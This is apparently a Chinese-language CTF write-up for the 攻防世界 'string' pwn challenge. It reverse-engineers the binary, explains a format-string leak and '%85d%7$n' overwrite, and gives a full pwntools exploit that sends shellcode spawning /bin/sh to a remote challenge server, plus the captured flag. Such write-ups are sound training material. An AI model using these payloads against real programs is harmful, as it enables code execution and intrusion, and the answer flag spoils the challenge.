【攻防世界】string
收获
格式化字符串漏洞,例如通过
printf("%p__%p__%p__")
打印出栈中的数据,从而判断输入的数据在栈中的位置,假如已知在栈上第 7 位,然后再通过printf("%85d%7$n")
来将第 7 个参数的值修改为 85mmap()
函数可以将输入的数据作为函数来执行,可以通过写入Pwntools
生成的默认shellcode
来执行,等价于执行了system("/bin/sh")
,例如:
v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
read(0, v1, 0x100uLL);
(v1)(0LL);
思路
查看文件信息:
64位 小端序,开启了金丝雀、栈不可执行
尝试执行:
在 IDA 中分析:
跟进函数 sub_400996()
:
只是两句输出
跟进 sub_400D72()
:
首先让用户输入角色名字,名字的长度被限制在 12 以内
跟进 sub_400A7D()
:
首先是讲故事,之后必须输入 "east"
才能跳出 while(1)
循环,而跳出 while
循环就不会执行后面的 if
语句
跟进 sub_4009DD()
:
会用 while(1)
循环不停的生成随机数,让用户去输入进行躲避,但是一旦输入错误一次跳出循环之后就 dead,貌似是条死路
回到 sub_400D72()
继续往下跟进 sub_400BB9()
:
首先是一段剧情,如果用户输入 “1”,会让用户继续输入地址、愿望,然后会将用户输入的愿望打印出来
回到 sub_400D72()
继续往下跟进 sub_400CA6()
:
注意到 if 语句 if ( *a1 == a1[1] )
,这里的 a1
就是前面 main()
函数中定义的 v4
,也就是说要让 *v4 == v4[1]
但 main()
函数中定义的是 *v4 = 68 v4[1] = 85
,因此这里肯定是需要进行数据修改的
通过 if 语句后,会执行 mmap()
函数,通过 v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL)
将 v1
定义为一个函数
然后通过 read()
函数写入 v1()
的内容,最后通过 (v1)(0LL)
将写入的 v1()
函数执行
于是分析如下:
- 程序刚开始前面有几个输入是固定的,程序想要继续执行就必须这么输入
- 现在的问题在于如何去修改数据让
*v4 == v4[1]
- 由于在
main()
函数中,"secret[0] is %x\n"
和"secret[1] is %x\n"
两句会打印出*v4
和v4[1]
的地址 - 同时,在
sub_400BB9()
函数中,会要求输入字符串format
,后面又会用printf(format)
进行打印,因此,可以利用这个输入的字符串"%s"
来构造格式化字符串漏洞 - 将
format
输入为%p__%p__%p__%p__%p__%p__%p__%p__%p__%p__
可以让printf()
函数实现printf("%p__%p__%p__%p__%p__%p__%p__%p__%p__%p__")
的操作,可以将栈中的其他数据也给打印出来 - 正好前面还要求输入地址,这个地址随便输入一个显眼的数,这样就可以通过
printf()
打印出的结果来找到这个数,从而判断出刚刚输入的地址在栈中的位置了 - 于是,当要求输入地址的时候,如果将
*v4
的地址给输进去,这样就知道*v4
的地址在栈里的位置了,再通过格式化字符串漏洞将这个地址上的数据给修改掉,就可以实现改变*v4
的值了 - 将
*v4
修改为 85 后,就可以通过sub_400CA6()
函数中的 if 判断了 - 之后程序会要求输入
v1
,然后将v1
作为函数来执行,那么可以向v1
中写入shellcode
,这样程序一执行就会实现system("/bin/sh")
的操作
脚本
from pwn import *
context(os='linux', arch='amd64', log_level='debug') # 打印调试信息
content = 0 # 本地Pwn通之后,将content改成0,Pwn远程端口
def main():
if content == 1:
io = process("./string") # 程序在kali的路径
else:
io = remote("61.147.171.105", 60038) # 题目的远程端口,注意是remote
io.recvuntil("secret[0] is ")
v4_addr = int(io.recvuntil("\n"), 16) # 根据ida中的伪代码,这里“secret[0] is ”后面输出的是v4: v4[0]所在的地址
io.recvuntil("What should your character's name be:\n") # 没有漏洞,随便输入即可
io.sendline("1")
io.recvuntil("So, where you will go?east or up?:\n") # 根据ida中的逻辑,必须这么输入
io.sendline("east")
io.recvuntil("go into there(1), or leave(0)?:\n") # 根据ida中的逻辑,必须这么输入
io.sendline("1")
"""
io.recvuntil("'Give me an address'\n")
io.sendline("1") # 先随便给出一个地址,等下通过格式化字符串漏洞泄露出栈中的数据,来查看这个地址在栈中的位置
io.recvuntil("And, you wish is:\n")
io.sendline("%p__%p__%p__%p__%p__%p__%p__%p__%p__%p__") # 将这一串作为printf()的参数泄露栈中的数据
print(io.recv()) # 将泄露出的数据打印出来
"""
shellcode = asm(shellcraft.sh()) # 用pwntools生成默认的shellcode,执行该shellcode等价于执行了system("/bin/sh")
io.recvuntil("'Give me an address'\n")
io.sendline(str(v4_addr)) # 将v4[0]的地址发过去,通过前面的操作已经知道发过去的V4[0]的位置在栈中的第7位
io.recvuntil("And, you wish is:\n")
io.sendline("%85d%7$n") # 向第7个参数写入85,即: 将v4[0]的值由68修改为85,这样就实现了v4[0] == v4[1],可以通过sub_400CA6()中的if语句
io.recvuntil("Wizard: I will help you! USE YOU SPELL\n")
io.sendline(shellcode)
io.interactive()
main()
结果
cyberpeace{a6bb09f8f19f8adfa1e160e67269416d}
根据输入的 "1"
,用 "%p"
泄露出输入的值在栈中的位置,这里可以看到 "1"
在第 7 位